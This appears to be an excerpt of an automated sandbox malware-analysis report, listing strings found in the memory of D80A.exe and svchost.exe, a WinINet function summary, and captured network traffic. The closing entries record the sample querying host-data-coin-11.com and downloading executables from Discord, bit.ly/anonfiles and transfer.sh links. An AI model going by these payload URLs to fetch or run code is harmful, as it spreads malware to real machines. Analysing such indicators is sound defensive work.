Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response0
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response0
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517115260.0000000002CF0000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517115260.0000000002CF0000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516473857.0000000002AD0000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517115260.0000000002CF0000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: D80A.exe, 00000024.00000002.517115260.0000000002CF0000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: svchost.exe, 00000007.00000002.307020774.00000199E9413000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: svchost.exe, 00000005.00000002.542881331.000001271B444000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000005.00000002.542881331.000001271B444000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: svchost.exe, 00000005.00000002.542881331.000001271B444000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: D80A.exe, 0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.514940284.0000000000402000.00000040.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000005.00000002.542881331.000001271B444000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: svchost.exe, 00000005.00000002.542881331.000001271B444000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000007.00000003.306686957.00000199E945A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000007.00000002.307064518.00000199E943C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000007.00000002.307110728.00000199E9469000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.305846022.00000199E9467000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000007.00000003.284150857.00000199E9430000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000007.00000002.307064518.00000199E943C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000007.00000003.284150857.00000199E9430000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000007.00000003.306704119.00000199E9440000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307069520.00000199E9442000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306752892.00000199E9441000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000007.00000003.306704119.00000199E9440000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307069520.00000199E9442000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306752892.00000199E9441000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000007.00000003.306704119.00000199E9440000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307090325.00000199E945D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306674613.00000199E945C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000012.00000003.378163847.0000019CB737F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378307635.0000019CB739F000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000012.00000003.383647945.0000019CB73E8000.00000004.00000001.sdmp	String found in binary or memory: https://displaycatalog.mp.microsoft.c0
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab0
Source: D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000007.00000003.306686957.00000199E945A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000007.00000002.307090325.00000199E945D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306674613.00000199E945C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000007.00000002.307090325.00000199E945D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306674613.00000199E945C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000007.00000002.307076901.00000199E944D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307069520.00000199E9442000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306686957.00000199E945A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306752892.00000199E9441000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000007.00000002.307064518.00000199E943C000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000007.00000003.284150857.00000199E9430000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/search
Source: D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: svchost.exe, 00000007.00000002.307064518.00000199E943C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000007.00000002.307020774.00000199E9413000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307064518.00000199E943C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000007.00000003.306748439.00000199E9456000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000007.00000003.306748439.00000199E9456000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000007.00000003.284150857.00000199E9430000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000007.00000002.307057295.00000199E9439000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.284150857.00000199E9430000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000007.00000003.306704119.00000199E9440000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306726648.00000199E9446000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307076901.00000199E944D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000012.00000003.378163847.0000019CB737F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378307635.0000019CB739F000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000012.00000003.378163847.0000019CB737F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378307635.0000019CB739F000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: svchost.exe, 00000012.00000003.379195258.0000019CB737C000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

23_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /attachments/916319571638620172/925647741571452938/Pyroxylic.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /3eHgQQR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bit.ly
Source: global traffic	HTTP traffic detected: GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bitly.com
Source: global traffic	HTTP traffic detected: GET /%28/8V4TRR/q.exe%29.zip HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
